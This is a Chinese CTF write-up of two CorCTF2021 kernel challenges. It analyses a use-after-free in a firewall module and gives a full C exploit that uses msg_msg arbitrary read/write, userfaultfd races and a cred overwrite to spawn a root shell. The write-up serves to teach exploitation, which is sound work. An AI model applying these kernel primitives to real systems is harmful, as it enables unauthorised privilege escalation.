CorCTF2021-fire_of_salvation & wall_of_perdition

henry Lv4

CorCTF2021-fire_of_salvagtion

参考链接:https://bsauce.github.io/2021/09/05/msg_msg/

知识点:FG-KASLR 、msg_msg_abr&abw、task_struct、pid、cred、shm_file_data

​ 这道题开了 FG-KGASLR,导致模块中很多函数会发生错位,使得调试比较麻烦,所以这道题我直接借用 msg_msg 的任意读,来实现打印调试(笑),不过当然由于调试不方便,所以在一个细节失误(后续会说明),导致浪费六个小时来找错误。

​ 这道题实际上就是为了帮助掌握 msg_msg 的任意地址读写,写需要搭配 userfaultfd 来进行使用,虽然之前已经学会了 msg_msg 的相关利用,但仍然不得不承认从这道题里面学到了好多,感觉还是好题做起来学到的东西更多。

静态分析

​ 题目直接给了源码文件,感觉非常友好,但据说这道题在当时仍然是 0 解。

结构体如下

nipaste_2024-03-31_14-30-3

题目分别实现了 add,edit,delete,duplicate,其中 duplicate(对指针重新建立引用)可以用来实现 uaf,而 edit 也使得只能对 obj 的头部 0x28 字节实现稳定控制,猜想如果这里不提供 edit 功能完成对chunk的修改,我们或许可以尝试 sk-buff,setxattr(需要 userfaultfd),但 user_key_paload 应该是不行,因为其也有相应的控制头会与 msg_msg header 形成冲突。

firewall_ioctl

nipaste_2024-03-31_14-39-0

根据 type 来实现对相应 type 类型下的 rule 进行操作。

add_rule

nipaste_2024-03-31_14-42-0

sizeof(rule_t) 的大小为 0x830,会从大小为 0x1000 的 kmem_cache 中分配。

delete_rule

nipaste_2024-03-31_14-44-4

删除对应的 rule

edit_rule

nipaste_2024-03-31_14-45-2

edit中不能对 desc 的内容进行修改,只能修改头部 0x28-0x30,但对于 msg_msg 来说这够用了。

dup_rule

nipaste_2024-03-31_14-46-4

这里 dup[i] 会重新建立对相反 type 类型指针的引用,所以我们在 dup 之后,可以通过 delete 完成 uaf。

漏洞点

dup 中存在 UAF 漏洞,在静态分析中已简要介绍。

漏洞利用

  • 通过 msg_msg 越界读 shm_file_data 泄露内核地址
  • 通过内核地址定位到 init_task,msg_msg 任意读遍历 task_struct 比较 pid 值,找到当前进程 task
  • 通过 msg_msg 任意写修改 cred 中的权限位,实现提权

动态分析

虽说是动态分析,但比较懒,直接通过打印调了。

STEP.1 leak kernel_base by shm_file_data

由于开启了FG-KASLR,可以喷射大量shm_file_data 对象(kmalloc-32)来泄露地址,因为FG-KASLR是在boot时对函数和某些节进行二次随机化,而shm_file_data->ns这种指向全局结构的指针不会被二次随机化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// STEP.1 leak kernel_base by shm_file_data
ms_qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 1, INBOUND, 0, 0, 0);
add(&req);
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 0, INBOUND, 0, 0, 0);
add(&req);
dup_rule(&req); //dup_rule to prepare UAF
delete(&req); //release obj

memset(buf, 'a', 0x1000); //obtain obj
size = 0x1010; // 0xfd0(first msg) + 0x10(second msg_msgeg) + 0x38(msg_header & msgeg header)
if (msgsnd(ms_qid[0], buf, size - 0x30, 0) < 0) err_msg("Fail send msg");

/* spray shm_file_data */
for (int i = 0; i < 0x50; i++){
shm_id = shmget(IPC_PRIVATE, 100, 0600);
if(shm_id < 0) err_msg("shmget");
shm_addr = shmat(shm_id, NULL, 0);
if(shm_addr < 0) err_msg("shmat");
}

size = 0x1400;
memset((void *)&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
edit(&req);

memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if(ret < 0) err_msg("Fail msgrcv");
print_binary(buf+0xfc0, 0x70);

话不多说,直接上图就完事了,这里就解释下 size 设置为 0x1010 - 0x30 的原因,我们知道 msg_msg header 大小为 0x30,msg_msgeg header 大小为 0x8,因此两段消息长度组成为 0xfd0,0x10,对应结构体大小为 0x1000, 0x20(0x18)。而大小为 0x20 的 shm_file_data 也从该 kmem_cache 中分配,因此我们可以通过越界读泄露出 shm_file_data 数据。

这里说下一个问题,不知道为什么我上面是设置了一个 int 类型的 size 赋值 m_ts 才有用,如果直接传递一个 0x1010 则不能实现越界读。

nipaste_2024-03-31_14-46-5

nipaste_2024-03-31_15-09-1

STEP.2 Find real_cred and cred with init_task by msg_msg ar

利用任意读,从init_task开始找到当前进程的task_structtask_struct->tasks偏移是0x298,该位置的前8字节为null,可以让 msg_msg->next 指向这里;task_struct->pid偏移是0x398, real_credcred指针在偏移0x538和0x540处,前面8字节也是null。

利用UAF修改msg_msg->m_ts,将msg_msg->next改为&task_struct+0x298-8,调用msgrcv()读内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//STEP.2 Find real_cred and cred with init_task by msg_msg ar
int pid, cur_pid;
size_t cur_task, next;
cur_pid = getpid();
printf("[+] my pid is %d\n", cur_pid);
while (cur_pid != pid){
size = 0x1400;
memset((void *)&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((tasks - 8) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((tasks - 8) >> 32) & 0xffffffff));
edit(&req);

// read tasks in init_task before 8 bytes ==> null
memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0) err_msg("Fail msgrcv");
// print_binary(buf+0xfb0, 0x60);
print_binary(buf+0xf00, 0x300);

pid = *(int *)&buf[0xfd8 + 0x100]; // offset_pid_tasks 0x398 - 0x298 = 0x100
tasks = *(size_t *)&buf[0xfd8 + 8]; // next_tasks
print_addr("found pid", pid);
print_addr("found tasks", tasks);
}
cur_task = tasks - 0x298;
cred = *(size_t *)&buf[0xfd8 + 0x2a8]; // offset 0x540 - 0x298 = 0x2a8
real_cred = *(size_t *)&buf[0xfd8 + 0x2a0]; // offset 0x538 - 0x298 = 0x2a0
if (cred != real_cred) err_msg("fail to find init_tasks");
output_msg("yeah you got it!");
print_addr("cred", cred);
print_addr("real_cred", real_cred);
print_addr("cur_task", cur_task);

nipaste_2024-03-31_15-11-1

nipaste_2024-03-31_15-11-2

STEP.3 modify real_cred to get root by msg_msg aw

根据pid找到当前进程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,调用msgsnd()写内存,可将real_credcred指针替换为init_cred即可提权。

1
2
3
4
5
6
7
8
9
//STEP.3 modify real_cred to get root by msg_msg aw
size = 0x1050;
memset(hijack_page, 'a', 0x1000);
ms_qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if(ms_qid < 0) err_msg("fail msgget");
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 1, INBOUND, 0, 0, 0);
dup_rule(&req);
delete(&req);
if (msgsnd(ms_qid[1], hijack_page + PAGE_SIZE - 0xf00, size - 0x38, 0) < 0) err_msg("Fail send msg");

nipaste_2024-03-31_15-22-3

nipaste_2024-03-31_15-25-2

最终提权如下:

nipaste_2024-03-31_15-25-2

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <semaphore.h>
#include <ctype.h>
#include <stdint.h>
#include <asm/ldt.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#define SECONDARY_STARTUP_64 0xffffffff81000030
#define PAGE_SIZE 0x1000

#define INBOUND 0
#define OUTBOUND 1

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#ifndef MSG_COPY
#define MSG_COPY 040000 /* copy (not remove) all queue messages */
#endif

void err_msg(char *msg)
{
printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
exit(0);
}
void output_msg(char *msg)
{
printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}

void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
output_msg("Process binded to core");
}


// this is a universal function to print binary data from a char* array
void print_binary(void *addr, int len)
{
size_t *buf64 = (size_t *) addr;
char *buf8 = (char *) addr;
for (int i = 0; i < len / 8; i += 2) {
printf(" %04x", i * 8);
for (int j = 0; j < 2; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

typedef struct {
long mtype;
char mtext[1];
}msg;

struct list_head {
struct list_head *next, *prev;
};

/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

char temp_page_for_stuck[0x1000];
void register_userfaultfd(pthread_t *monitor_thread, void *addr,
unsigned long len, void *(*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
err_msg("userfaultfd");
}

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
err_msg("ioctl-UFFDIO_API");
}

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
err_msg("ioctl-UFFDIO_REGISTER");
}

s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
err_msg("pthread_create");
}
}

void register_userfaultfd_for_thread_stucking(pthread_t *monitor_thread,
void *buf, unsigned long len, void *(*handler)(void*))
{
register_userfaultfd(monitor_thread, buf, len,
handler);
}


#define DESC_MAX 0x800
int firewall_fd, fd;
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} user_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} rule_t;

void add(user_rule_t *req){
ioctl(firewall_fd, 0x1337babe, req);
}

void delete(user_rule_t *req){
ioctl(firewall_fd, 0xdeadbabe, req);
}

void edit(user_rule_t *req){
ioctl(firewall_fd, 0x1337beef, req);
}

void dup_rule(user_rule_t *req){
ioctl(firewall_fd, 0xbaad5aad, req);
}

void construct_user_rule(user_rule_t *buf, char *iface, char *name, char *ip,
char *netmask, uint8_t idx, uint8_t type, uint16_t proto,
uint16_t port, uint8_t action){
memcpy(((user_rule_t *) buf)->iface, iface, 0x10);
memcpy(((user_rule_t *) buf)->name, name, 0x10);
strcpy(((user_rule_t *) buf)->ip, ip);
strcpy(((user_rule_t *) buf)->netmask, netmask);
((user_rule_t *) buf)->idx = idx;
((user_rule_t *) buf)->type = type;
((user_rule_t *) buf)->proto = proto;
((user_rule_t *) buf)->port = port;
((user_rule_t *) buf)->action = action;
return;
}

void gen_dot_notation(char *buf, uint32_t val)
{
sprintf(buf, "%d.%d.%d.%d", val & 0xff, (val & 0xff00) >> 8, (val & 0xff0000) >> 16, (val & 0xff000000) >> 24);
return;
}

size_t real_cred, cred;

void *hijack_func_handler(void *args){
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) args;

for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1) {
err_msg("poll");
}

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0) {
err_msg("EOF on userfaultfd!\n");
}

if (nread == -1) {
err_msg("read");
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
err_msg("Unexpected event on userfaultfd\n");
}

/*list actions here you want to do*/
printf("[+] hello stuck here!\n");
user_rule_t req;
int size = 0x1050;
memset(&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 1, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((real_cred - 8) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((real_cred - 8) >> 32) & 0xffffffff));
edit(&req);

memset(temp_page_for_stuck, 0, 0x1000);
// memset(temp_page_for_stuck+0xd0, 0, 0x1000-0x100);
uffdio_copy.src = (unsigned long long) temp_page_for_stuck;
uffdio_copy.dst = (unsigned long long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
err_msg("ioctl-UFFDIO_COPY");
}

return NULL;
}
}

size_t msg_msg_addr;
size_t init_task = 0xffffffff81c124c0, tasks;
size_t init_ipc_ns = 0, page_offset_base = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;
int main(){
int ret;
char *buf;
int ms_qid[2];
int shm_id;
char *shm_addr;
int size;
user_rule_t req;

bind_core(0);
buf = malloc(0x4000);
firewall_fd = open("/dev/firewall", O_RDONLY);
fd = firewall_fd;
if(firewall_fd < 0) err_msg("Fail to open device...");

// register userfaultfd page
pthread_t uffd_hijack;
char *hijack_page = mmap(NULL, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_hijack, hijack_page + PAGE_SIZE, PAGE_SIZE, hijack_func_handler);


// STEP.1 leak kernel_base by shm_file_data
ms_qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 1, INBOUND, 0, 0, 0);
add(&req);
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 0, INBOUND, 0, 0, 0);
add(&req);
dup_rule(&req); //dup_rule to prepare UAF
delete(&req); //release obj

memset(buf, 'a', 0x1000); //obtain obj
size = 0x1010; // 0xfd0(first msg) + 0x10(second msg_msgeg) + 0x38(msg_header & msgeg header)
if (msgsnd(ms_qid[0], buf, size - 0x30, 0) < 0) err_msg("Fail send msg");

/* spray shm_file_data */
for (int i = 0; i < 0x50; i++){
shm_id = shmget(IPC_PRIVATE, 100, 0600);
if(shm_id < 0) err_msg("shmget");
shm_addr = shmat(shm_id, NULL, 0);
if(shm_addr < 0) err_msg("shmat");
}

size = 0x1400;
memset((void *)&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
edit(&req);

memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if(ret < 0) err_msg("Fail msgrcv");
print_binary(buf+0xfc0, 0x70);
// print_binary(buf, 0x1100);

for (int i = 0; i < size; i += 8){
if((*(size_t *)&buf[i]) > kernel_base && ((*(size_t *)&buf[i]) & 0xfff) == 0x7a0){
printf("[+] you found it\n");
init_ipc_ns = (*(size_t *)&buf[i]);
print_addr("init_ipc_ns", init_ipc_ns);
}
if((*(size_t *)&buf[i]) > 0xffff888000000000 && (*(size_t *)&buf[i]) < kernel_base){
page_offset_base = (*(size_t *)&buf[i]) & 0xfffffffff0000000;
print_addr("page_offset_base", page_offset_base);
}
if(page_offset_base && init_ipc_ns) break;
}

if(!page_offset_base || !init_ipc_ns) err_msg("fail to leak, plz try again!");
kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;
init_task += kernel_offset;
tasks = init_task + 0x298;
print_addr("init_task", init_task);


//STEP.2 Find real_cred and cred with init_task by msg_msg ar
int pid, cur_pid;
size_t cur_task, next;
cur_pid = getpid();
printf("[+] my pid is %d\n", cur_pid);
while (cur_pid != pid){
size = 0x1400;
memset((void *)&req, 0, sizeof(user_rule_t));
construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((tasks - 8) & 0xffffffff));
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((tasks - 8) >> 32) & 0xffffffff));
edit(&req);

// read tasks in init_task before 8 bytes ==> null
memset(buf, 0, 0x4000);
ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0) err_msg("Fail msgrcv");
print_binary(buf+0xfb0, 0x60);
// print_binary(buf+0xf00, 0x300);

pid = *(int *)&buf[0xfd8 + 0x100]; // offset_pid_tasks 0x398 - 0x298 = 0x100
tasks = *(size_t *)&buf[0xfd8 + 8]; // next_tasks
print_addr("found pid", pid);
print_addr("found tasks", tasks);
}
cur_task = tasks - 0x298;
cred = *(size_t *)&buf[0xfd8 + 0x2a8]; // offset 0x540 - 0x298 = 0x2a8
real_cred = *(size_t *)&buf[0xfd8 + 0x2a0]; // offset 0x538 - 0x298 = 0x2a0
if (cred != real_cred) err_msg("fail to find init_tasks");
output_msg("yeah you got it!");
print_addr("cred", cred);
print_addr("real_cred", real_cred);
print_addr("cur_task", cur_task);

// size = 0x1400;
// memset((void *)&req, 0, sizeof(user_rule_t));
// construct_user_rule(&req, "henry", "henry", "invalid", "invalid", 0, OUTBOUND, 0, 0, 0);
// ((struct msg_msg*)&req)->m_type = 1; //set msg->m_type
// ((struct msg_msg*)&req)->m_ts = size; //set msg->m_ts
// gen_dot_notation(((char *)&req + 0x20), (uint32_t)((real_cred - 8) & 0xffffffff));
// gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((real_cred - 8) >> 32) & 0xffffffff));
// edit(&req);

// // read tasks in init_task before 8 bytes ==> null
// memset(buf, 0, 0x4000);
// ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
// if (ret < 0) err_msg("Fail msgrcv");
// // print_binary(buf+0xfb0, 0x60);
// print_binary(buf+0xf00, 0x300);


//STEP.3 modify real_cred to get root by msg_msg aw
size = 0x1050;
memset(hijack_page, 'a', 0x1000);
ms_qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if(ms_qid < 0) err_msg("fail msgget");
construct_user_rule(&req, "henry", "henry", "0.0.0.0", "0.0.0.0", 1, INBOUND, 0, 0, 0);
dup_rule(&req);
delete(&req);
if (msgsnd(ms_qid[1], hijack_page + PAGE_SIZE - 0xf00, size - 0x38, 0) < 0) err_msg("Fail send msg");

// memset(buf, 0, 0x4000);
// ret = msgrcv(ms_qid[0], buf, 0x2000-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
// if (ret < 0) err_msg("Fail msgrcv");
// // print_binary(buf+0xfb0, 0x60);
// print_binary(buf+0xf00, 0x300);

if(getuid() == 0){
printf("[+] you are great man!");
system("/bin/sh");
}
return 0;
}

CorCTF2021-wall_of_perditon

参考链接:https://syst3mfailure.io/wall-of-perdition/

知识点:FG-KASLR、msg_msg 任意地址读写、msg 实现任意地址释放、slab、UAF-kmalloc64

注意事项:slab 分配器中, obj 释放后不会像 slub 一样产生 freelist 指针。

还有比较坑的一点是,由于我用的 ubuntu22 使用的 gcc 比较高,但是由于内核版本比较低,导致开多线程跑的时候老是报错,花了四五个小时才找到这个问题。(日常踩坑的废物罢了)

这题与上面的 fire_of_salvation,但是 fire_of_salvation 的复杂模式利用,上题中我们可以直接进行 kmalloc-4k 大小 obj 的 UAF,而这一题我们只能够进行 kmalloc-64 大小 obj 的UAF,实际上比上一题多了一个步骤就是实现任意地址释放

思考

这道题实际上给了一种 0x40 及以上 UAF 的通用解法,但对于目前而言,对开了 cg 保护的内核,我们无法使得 msg-msg 分配得到 uaf 的堆块;另外一点就是条件竞争使用的限制,userfaultfd 在最新的内核中已经被禁止非特权用户使用,但这一点实际上我们在实战的过程中,可以用 fuse 来替代。

静态分析

​ 见 fire_of_salvagtion。

漏洞利用

原作者的exp我跑的时候,貌似成功率比较不稳定,可能也是我自己的原因。我在实现的时候,是通过堆喷来提高稳定性的,同时泄露地址也是跟原作者不太一样,我是通过 SECONDARY_STARTUP_64 (与 page_offset_base存在固定偏移 0x9d000) 来泄露内核基址。

  • 利用 msg_msg 越界读,泄露 page_offset_base、msg_msg addr、msgmsgseg addr
  • 通过 kmalloc-64 uaf 实现任意读,泄露出进程 task_struct 的结构体,在找到 cred 结构体
  • 任意地址释放,实现堆块重叠,该 msg_msg ->next 字段
  • 任意写修改 cred 结构体

动态分析

STEP.1 leak kernel_base by secondary_startup_64

1
2
3
4
5
6
7
8
size = 0x40;
if (msgsnd(ms_qid[0], buf, size - 0x30, 0) < 0) err_msg("Fail send msg");
for (int i = 1; i < 0x20; i++){
*(size_t *)&buf[0] = 0x6161616161610000 + i; //i ==> m_type
if (msgsnd(ms_qid[i], buf, size - 0x30, 0) < 0) err_msg("Fail send msg"); //primary_msg
memset(buf, 'a', 0x10);
if (msgsnd(ms_qid[i], buf, 0x1fc8, 0) < 0) err_msg("Fail send msg"); //secondary_msg
}

堆喷如上,可以稳定泄露出 msg_msg 和 msg_msgseg 的地址,从而计算得到 page_offset_base,在泄露出 SECONDARY_STARTUP_64 的内容。

nipaste_2024-04-02_10-30-0

从上面的代码可以看到,实际上这里我们发送了两条消息,所以我们泄露出的地址是 next 上的 next_secondary_msg 的地址,所以我们在任意读 next_secondary_msg 的地址中的 list_head 结构体,反过来就能得到 next_primary_msg 的地址,从而通过偏移计算得到 uaf_msg 的地址。

不过在这道题中我们貌似只需要知道 next_secondary_msg 的地址就够了,上述方法只不过是提供一种地址泄露的思路。

nipaste_2024-04-02_10-35-3

STEP.2 Find real_cred and cred with init_task by msg_msg arb read

第二步与前一题中的找 cred 的方法完全一致,我是直接把前一题的拿来用就可以进行泄露了。

nipaste_2024-04-02_10-40-4

STEP.3 arb address free by msg_msg

个人认为这道题的精髓在第三步任意地址释放,原作者思路也是非常巧妙,实现了内核级堆块重叠,所以后面也会结合 D3v1L 大佬的图来进行说明,这里我们将上述泄露出 msg_msg 地址的那个消息队列通过 msgrcv 读消息释放它们,此时内存分布图如下:

nipaste_2024-04-02_10-40-4

1
2
3
4
5
//STEP.3 arb address free by msg_msg
ret = msgrcv(ms_qid[idx], buf, 0x40, 0, IPC_NOWAIT | MSG_NOERROR); //release ms_qid[idx] first msg_msg (size == 0x40)
if (ret < 0) err_msg("bad lucky!");
ret = msgrcv(ms_qid[idx], buf, 0x2000, 0x6161616161616161, IPC_NOWAIT | MSG_NOERROR); //release ms_qid[idx] two slab (size == 0x1000 for each page)
if (ret < 0) err_msg("bad lucky!");

接下来我们在通过向一个消息队列发送长度为 0x1fc8 的消息,使得其占用我们上一步中释放的两个 kmalloc-4k 的 obj,且由于内存分配后进先出的原理,我们申请到的新消息的 msg_msg 和 msg_msgseg 占用的空间正好和上一步中释放的 msg_msg,msg_msgseg 相反,如下图所示:

nipaste_2024-04-02_10-40-4

1
2
memset(hijack_page, 'c', 0x1000);
if (msgsnd(ms_qid[0x20], hijack_page + PAGE_SIZE - 0xfd0, 0x1fc0, 0) < 0) err_msg("fail msgsnd");

这一步就是实现任意地址释放的关键步骤,我们让前面的 uaf 堆块中的 msg_msg->next指针指向上图中的 msg_msgseg,然后这里还需要注意的是为正常释放 QID #0 消息,我们必须恢复其正常 header 头结构,使其能够完成 unlink 不会报错,list_head 中我们可以让其指向前面第一步泄露的 QID #1 号消息的 msg_queue 结构体,size 则为其原本的 0x10(改大会出错)

1
2
3
4
5
6
7
8
int size = 0x8;
((struct msg_msg *)&req)->m_list.next = (void*)queue;
((struct msg_msg *)&req)->m_list.prev = (void*)queue;
((struct msg_msg *)&req)->m_type = 1; //set msg->m_ts
((struct msg_msg *)&req)->m_ts = size; //set msg->m_ts
gen_dot_notation(((char *)&req + 0x20), (uint32_t)((next_secondary_msg) & 0xffffffff)); //next_primary_msg - 0x20
gen_dot_notation(((char *)&req + 0x30), (uint32_t)(((next_secondary_msg) >> 32) & 0xffffffff));
edit(&req);

nipaste_2024-04-02_10-40-4

同时还需要注意到的是一个细节是,此时我们的 QID #2 通过 userfaultfd 卡住,其 msg_msg header 中的 next 只是建立了对 msg_msgseg 的引用,但还并未通过 copy_from_user 传输数据(参考msgrcv源码食用更加)。

由于前面我们已经伪造好了 QID #0 所以这一步直接进行释放,可以从下图中看到属于 QID #2 的 msg_msgseg 已经被释放,这就是我们实现堆块重叠的关键,记住此时 QID #2 中 next 字段仍然有着对已被释放的 obj 的引用。

1
if (msgrcv(ms_qid[0], buf, size, 1, IPC_NOWAIT | MSG_NOERROR) < 0) err_msg("fail msgrcv");    //release ms_qid[0x20] --> msg_msgeg

nipaste_2024-04-02_10-40-4

这时我们通过向一个消息队列发送 0x1050-0x38 的消息 QID #3,就可以完成对上一步释放的 msg_msgseg 的占用,,注意我们这里也要通过 userfaultfd 来将 QID #3 卡住。从下图中可以看到,此时我们 QID #2 还没有写到 QID #3 的 msg_msg (QID #2 的 msg_msgseg),因此此时我们可以通过在 QID #2 的缺页处理程序中,来构造 QID #3 的 msg_msg header,使其 next 字段指向 cred 结构体,从而完成任意写。

nipaste_2024-04-02_10-40-4

1
2
3
4
5
6
7
memset(temp_page_for_stuck_1, 0, 0x2000);                           
int size = 0x1050;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.next = 0;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_list.prev = 0;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_type = 1;
((struct msg_msg *)&temp_page_for_stuck_1[0])->m_ts = size - 0x38;
((struct msg_msg *)&temp_page_for_stuck_1[0])->next = (void*)(real_cred - 8);

上述代码即为伪造的 QID #3 的头结构,可以看到其 next 字段已经被修改为了 real_cred - 8。

STEP.4 arb write

实际上我们在上面任意地址释放的过程中,也是为了能够实现任意写,相信读者在看完上面的过程后,已经明白了是如何实现任意写的,这里通过两次条件竞争卡住来实现任意写,最后一步自己的 exp 实现老是有问题,参考了一下 xiaozaya 师傅的 exp ,然后通过管道同步解决了这个问题。

最终提权图如下

利用还是比较稳定的,成功率很高

